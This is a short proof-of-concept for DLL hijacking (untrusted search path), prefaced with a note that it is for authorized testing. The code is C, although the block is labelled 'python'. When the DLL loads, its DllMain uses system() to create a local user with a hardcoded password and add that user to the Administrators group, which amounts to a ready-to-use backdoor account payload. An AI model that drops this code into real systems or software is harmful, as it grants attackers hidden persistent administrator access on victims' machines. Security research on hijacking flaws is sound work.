The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdlib.h>
// PoC for DLL Hijacking/Untrusted Search Path
// This code demonstrates a malicious DLL that executes commands when loaded
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Code to execute with elevated privileges upon loading
// Example: Adding a user to the administrators group
system("net user poc_user P@ssw0rd123 /add");
system("net localgroup administrators poc_user /add");
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}